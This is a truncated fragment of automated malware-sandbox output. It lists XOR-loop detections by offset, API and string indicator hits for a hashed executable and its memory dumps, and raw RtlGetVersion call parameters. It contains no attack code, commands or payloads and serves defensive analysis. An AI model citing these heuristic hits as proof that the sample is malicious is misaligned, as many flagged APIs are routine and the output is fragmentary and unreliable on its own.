bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1351051; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1397970; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1409779; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1457075; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1564887; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1644171; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1668172; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1688145; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1694813; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1743674; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1784838; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 1877882; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2109965; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2303418; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2379484; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2382144; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2507643; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2532286; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2590646; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2609868; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2634550; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2691142; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2693386; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2741659; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2746540; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2923867; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2931526; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 2994517; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3006820; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3149612; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3292436; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3338424; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3433022; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3454292; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3516445; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3520223; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3606939; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3781017; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3847510; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3856667; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 3994268; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4089596; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4124326; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4145245; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4223026; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4224617; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4629877; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4639217; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4666590; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4721387; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4823006; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4823699; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4879437; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4881188; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 4975149; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5015104; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5075335; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5075868; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5075933; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5085988; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5166077; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5196857; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5233352; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5565823; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5617915; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 5946997; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6246095; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6246516; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6253845; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6313985; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6474750; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6510402; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6516988; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6596396; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6598108; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6669970; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6779626; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6966947; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6967078; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 6968781; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7127354; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7150295; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7213163; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7232405; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7295011; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 7391367; code bytes = 30d0 Found XOR loop in file "sample.bin" at offset 17178; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 33801; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 558803; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 954290; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1034925; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1088817; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1118784; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1131151; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1137813; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1240920; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1308404; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1328151; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1356093; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1421844; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1473327; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1659388; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1708111; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1784986; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 1954983; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2144785; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2147983; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2171916; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2199293; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2227890; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2279337; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2439823; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2523574; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2627779; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2667945; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2686443; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2703669; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2740624; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2741260; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2748594; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2834588; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2901490; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2905113; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2940940; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 2982018; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3035786; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3103040; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3124204; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3237116; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3268373; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3274801; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3279107; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3283887; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3287093; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3541642; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3703987; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 3768686; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4032728; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4097549; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4114518; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4136663; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4382756; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4626533; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4731420; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4775600; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4862053; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4933495; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 4963837; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5020307; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5224109; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5258381; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5488831; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5580364; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5605261; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5620413; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5686090; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5787227; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5984180; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 5988162; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6135702; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6155646; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6344600; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6427920; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6480666; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6489221; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6634318; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6654048; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6813321; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6862608; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6876619; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 6902690; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7083011; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7276071; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7319426; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7322661; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7327107; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7337644; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7395217; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7429742; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7448910; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7458427; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 7490610; code bytes = 33c1 Found XOR loop in file "sample.bin" at offset 133902; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 187089; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 350799; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 453398; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 514764; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 537700; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 588906; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 660498; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 677377; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 683055; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 872639; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 884338; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 905552; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 997939; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1018798; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1079374; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1120309; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1245164; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1276006; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1443553; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1523260; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1571600; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1647230; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1756239; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1757869; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1765622; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1792293; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1805820; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 1997454; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2022987; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2073401; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2125623; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2250061; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2483896; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2555212; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2564744; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2580758; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2584668; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2678091; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2684315; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2736793; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2799189; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2819275; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2887422; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2897818; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2939511; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 2964557; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3040294; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3161653; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3307802; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3477531; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3493535; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3495140; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3570338; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3605282; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3613514; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3672374; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3686046; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3750784; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3833944; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 3980149; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4043358; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4051709; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4125329; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4142813; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4446346; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4446434; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4518091; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4571092; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4629892; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4629894; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4717934; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4786417; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4913086; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4929152; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 4989164; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5031429; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5121294; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5254529; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5277433; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5396254; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5543377; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5545891; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5563211; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5641058; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5645468; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5646796; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5682932; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5854682; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5942304; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5977893; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 5983955; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6045831; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6085413; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6154647; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6180061; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6274485; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6293103; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6423611; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6470896; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6505631; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6528396; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6672946; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 6839001; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7168745; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7189912; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7208407; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7479888; code bytes = 8030 Found XOR loop in file "sample.bin" at offset 7532104; code bytes = 803029:T4da,file/memory contains long string with (Indicator: "GetCommandLine"; File: "EasyApp.exe") file/memory contains long string with (Indicator: "GetCommandLine"; File: "_setup64.tmp") file/memory contains long string with (Indicator: "GetCommandLine"; File: "_RegDLL.tmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found string "GetCursorPos" (Indicator: "GetCursorPos"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found string "GetCommandLineW" (Indicator: "GetCommandLine"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.056A4000.00000004.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found string "GetCommandLineA" (Indicator: "GetCommandLine"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")2a:T73d,Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "EnumSystemLocalesEx" (Indicator: "EnumSystemLocales"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLocaleName" (Indicator: "GetUserDefaultLocaleName"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoEx" (Indicator: "GetLocaleInfo"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetUserDefaultLCID" (Indicator: "GetUserDefaultLCID"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "EnumSystemLocalesW" (Indicator: "EnumSystemLocales"; File: "00000000-00008076.00000001.173786.00400000.00000040.mdmp") Found reference to API "GetSystemDefaultLCID" (Indicator: "GetSystemDefaultLCID"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00001560.00000000.171932.056A4000.00000004.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetLocaleInfoW" (Indicator: "GetLocaleInfo"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "GetLocaleInfoA" (Indicator: "GetLocaleInfo"; Source: "00000000-00004644.00000000.172374.00409000.00000002.mdmp")2b:Tb70,Found reference to API "SendMessageW" (Indicator: "sendmessage"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; File: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "FINDWINDOWBYCLASSNAME" (Indicator: "findwindow"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "FINDWINDOWBYWINDOWNAME" (Indicator: "findwindow"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "SENDMESSAGE" (Indicator: "sendmessage"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "POSTMESSAGE" (Indicator: "postmessage"; File: "00000000-00007668.00000000.172116.00401000.00000020.mdmp") Found reference to API "SendMessageA" (Indicator: "sendmessage"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "EnumWindows" (Indicator: "enumwindows"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "FindWindowA" (Indicator: "findwindow"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "SendMessageTimeoutA" (Indicator: "sendmessage"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "PostMessageA" (Indicator: "postmessage"; File: "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "FindWindowExW" (Indicator: "findwindow"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00001560.00000000.171932.00096000.00000002.mdmp, 00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "InSendMessageEx" (Indicator: "sendmessage"; Source: "00000000-00001560.00000000.171932.72907000.00000002.mdmp") Found reference to API "PostMessageW" (Indicator: "postmessage"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "SendMessageW" (Indicator: "sendmessage"; Source: "00000000-00004496.00000000.172807.004BE000.00000002.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00004644.00000000.172374.03220000.00000004.mdmp") Found reference to API "" (Indicator: "enumchildwindows"; Source: "00000000-00005760.00000000.171650.02E50000.00000004.mdmp")2c:T1ade,"fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000018000000365c8034239b47711006cf00687d7f75b8f5cf00c0c84771020a0645feffffffd4f4cf00c278467178f4cf000000fa7370f5cf00db784671e0df067408000000000000000000000000000000000000000000000000000000000000000100000000000000ffffffffffffffff340000000000000000f5cf0000000000080000000000000000000000000000000000000000000000000000000e5c80340000000040f5cf0069922f77ffffffff3400000000f5cf0008000000000000000000fa7370f5cf0027942f7708f5cf000b0000000000000058f5cf00 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000e8e05f078ce05f07226e8e7400000403000000002d6e8e74dd9f30f82d000000ecb7b37510e15f0700009f004056eb02507feb020e0000008000000050e05f0700009f00d4e05f0770c88f74a90efb8bfeffffff2d000000d0ccc27527000000a4e05f07856a90741c239574e4e05f07f85f907408000000bb698f74b2698f74b59f30f82d000000ecb7b37527000000d0ccc275b8e05f072d000000d0ccc27527000000e8e05f07856a90741c23957430e15f077e8ac175ee8cc175738ac175ca9b62562d000000ecb7b37527000000d0ccc2759c2b0403302b0403ca9b6256f8e05f07fc52ff75e4e15f07e084c175c28bc024feffffff738ac175 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f0000020000000000ffff0000000018cc5f0738cf4b77dc38e50284cc5f07010000009038e502dc38e5029038e502040000000400000000e039770010000084cc5f07010000009038e502cd974b779c974b77acfdfa0fb50f30779038e50200004b77000000007416da6f0000000080ee36770100000000000000f8e23977000000000400000080a9e07348403877f8e2397788cc5f0780e8a774d89ee70280e8a77484cc5f070000000080e8a77400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000000000000000000026baed023cbaed02 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000d623ee02ee23ee02 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff000000000000000000000000962aee02aa2aee02 (UID: 00000000-00005760) "fdfc254cf83ffbfd643d799b843c535b794b3116e2d9d1122513be8bf787a4b3.exe" called "RtlGetVersion" with parameter 